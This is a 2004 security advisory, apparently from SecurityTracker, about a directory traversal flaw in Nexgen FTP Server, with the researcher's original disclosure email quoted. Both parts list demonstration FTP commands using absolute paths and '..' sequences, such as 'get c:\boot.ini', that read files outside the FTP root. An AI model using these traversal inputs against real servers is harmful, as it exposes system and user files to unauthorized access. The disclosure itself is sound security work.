Nextgen FTP Server Discloses Arbitrary Files to Remote Authenticated Users
|
|
SecurityTracker Alert ID: 1009545 |
|
SecurityTracker URL: http://securitytracker.com/id/1009545
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Mar 24 2004
|
Impact:
Disclosure of system information, Disclosure of user information
|
Vendor Confirmed: Yes Exploit Included: Yes
|
|
Description:
Ziv Kamir of Global Security Solution IT reported a file disclosure vulnerability in the Nextgen FTP Server. A remote authenticated user can view files on the target system that are located outside of the FTP root directory.
It is reported that a remote authenticated user can view files located outside of the FTP directory by using absolute path names or '..' directory traversal characters in FTP commands.
Some demonstration exploit FTP commands are provided:
ls c:\*.*
ls ..
ls \..\
ls /../
dir c:\
dir \..\*.*
get c:\"Exist File"
get \..\"Exist File"
The vendor was reportedly notified on March 23, 2004.
|
Impact:
A remote authenticated user, including an anonymous user, can view files on the target system with the privileges of the FTP service.
|
Solution:
No solution was available at the time of this entry. The vendor has reportedly generated a fix that will be released pending testing of the new fix.
|
Vendor URL: nexgenserver.com/NexgenFTPServer/ (Links to External Site)
|
Cause:
Access control error, Input validation error
|
Underlying OS:
Windows (NT), Windows (2000), Windows (XP)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Wed, 24 Mar 2004 02:24:45 -0800 (PST)
Subject: Nexgen FTP Server
|
This is a multi-part message in MIME format.
--------------050002060104030609080701
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Do you Yahoo!?
*Yahoo! Finance Tax Center* <http://taxes.yahoo.com/filing.html> - File
online. File on time.
--------------050002060104030609080701
Content-Type: text/plain;
name="Nexgen.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="Nexgen.txt"
24/03/04
====================================
GSSIT - Global Security Solution IT
====================================
-------------------------------------------------------
Application: Nexgen FTP Server
Web Site: http://www.nexgenserver.com/
Versions:
Platform: Windows
Bug : Directory Traversal
Credits:
########
#########################################
# == Ziv Kamir == #
# #
# GSSIT - Global Security Solution IT #
# #
# Email : gss_it@yahoo.com #
# #
# #
#########################################
---------------------
1) Introduction
2) Bug
3) The Code
4) Fix
================
1) Introduction
================
Developed using the Nexgen Server SDK, the Nexgen FTP Server is a full-featured FTP Server that can be easily customized to fit your
needs. Running as a service on your PC, the Nexgen FTP Server gives you peace of mind because you'll always know that if the PC is
running, then the server is running.
Included with the Nexgen FTP Server is an administration application that you can use to remotely monitor and/or configure the Nexgen
FTP Server. Use the administration application to manage all aspects of the FTP Server (or servers) that are running on the service's
PC.
=======
2) Bugs
=======
1) Directory Traversal
===========
3) The Code
===========
1) Any authenticated user can read arbitrary files outside the FTP root Directory
ls c:\*.*
ls ..
ls \..\
ls /../
dir c:\
dir \..\*.*
get c:\"Exist File" [ c:\boot.ini ]
get \..\"Exist File"
======
4) Fix
======
Date of Vendor Notification:
----------------------------
23/03/04
Response:
---------
24/03/04
Thanks . I've tested some new code, and I think I've got it squashed
I'll get it uploaded after I test out the installations .
==============================================================================================
*** The Data is for educational purpose only. ***
The information in this bulletin is provided "AS IS" without
warranty of any kind. In no event shall we be liable for any
damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages.
==============================================================================================
--------------050002060104030609080701--
|
|
